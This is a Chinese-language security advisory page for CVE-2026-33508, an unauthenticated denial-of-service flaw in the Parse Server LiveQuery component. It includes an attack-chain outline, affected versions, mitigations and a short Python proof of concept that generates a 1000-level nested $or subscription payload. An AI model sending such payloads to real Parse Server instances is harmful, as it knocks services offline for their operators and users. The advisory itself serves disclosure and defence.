IPBUF安全漏洞报告
English
CVE-2026-33508 CVSS 7.5 高危

CVE-2026-33508 Parse Server LiveQuery拒绝服务漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33508
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

拒绝服务DoSParse ServerWebSocket资源耗尽CVE-2026-33508递归溢出

漏洞概述

Parse Server是一个开源的后端解决方案。在8.6.56及9.6.0-alpha.45版本之前,其LiveQuery组件在处理WebSocket订阅请求时,未能正确强制执行requestComplexity.queryDepth配置限制。攻击者可构造包含深度嵌套逻辑运算符的恶意订阅请求,引发服务器过度递归和CPU资源耗尽,最终导致服务不可用或性能严重下降。

技术细节

该漏洞位于Parse Server的LiveQuery组件,该组件允许客户端通过WebSocket实时订阅数据变更。漏洞的根本原因在于,服务端在处理WebSocket订阅请求时,未严格校验查询语句的嵌套深度(requestComplexity.queryDepth)。攻击者可以利用这一缺陷,构造包含极深层嵌套逻辑运算符(如$or、$and)的恶意订阅JSON数据。当服务器解析此类结构时,会触发不受限制的递归操作。这种过度的递归调用不仅会迅速消耗CPU计算资源,还可能导致调用栈溢出或进程阻塞。由于该组件未对查询复杂度进行有效拦截,单个恶意请求即可导致服务器响应迟缓甚至完全拒绝服务。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用存在漏洞的Parse Server版本,且LiveQuery服务已开启。
STEP 2
武器化
攻击者编写脚本,生成包含深度嵌套逻辑运算符(如$or)的恶意JSON查询对象。
STEP 3
交付
攻击者通过WebSocket连接向Parse Server的LiveQuery端点发送订阅请求,并在请求体中注入恶意构造的深层嵌套查询。
STEP 4
利用
服务器在处理该请求时,尝试解析深度嵌套的结构,由于未限制查询深度,导致进入深层递归逻辑。
STEP 5
影响
服务器的CPU资源被瞬间耗尽,无法处理正常用户的请求,导致服务拒绝或严重降级。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json def generate_nested_query(depth): """Generate a deeply nested query to trigger the vulnerability.""" if depth == 0: return {"key": "value"} # Using $or operator to create nesting return {"$or": [generate_nested_query(depth - 1), {"key": "value"}]} # Configuration target_ws_url = "ws://target-parse-server:1337/parse/" subscription_payload = { "op": "subscribe", "requestId": 1, "query": { "className": "TestObject", "where": generate_nested_query(1000) # Depth 1000 to cause DoS } } print("Malicious Payload Generated:") print(json.dumps(subscription_payload, indent=2)) # Note: Send this payload via WebSocket to exploit the vulnerability.

影响范围

Parse Server < 8.6.56
Parse Server >= 9.0.0, < 9.6.0-alpha.45

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用LiveQuery组件,或在网络层面(如防火墙或WAF)限制对LiveQuery WebSocket端点的访问,仅允许受信任的IP地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表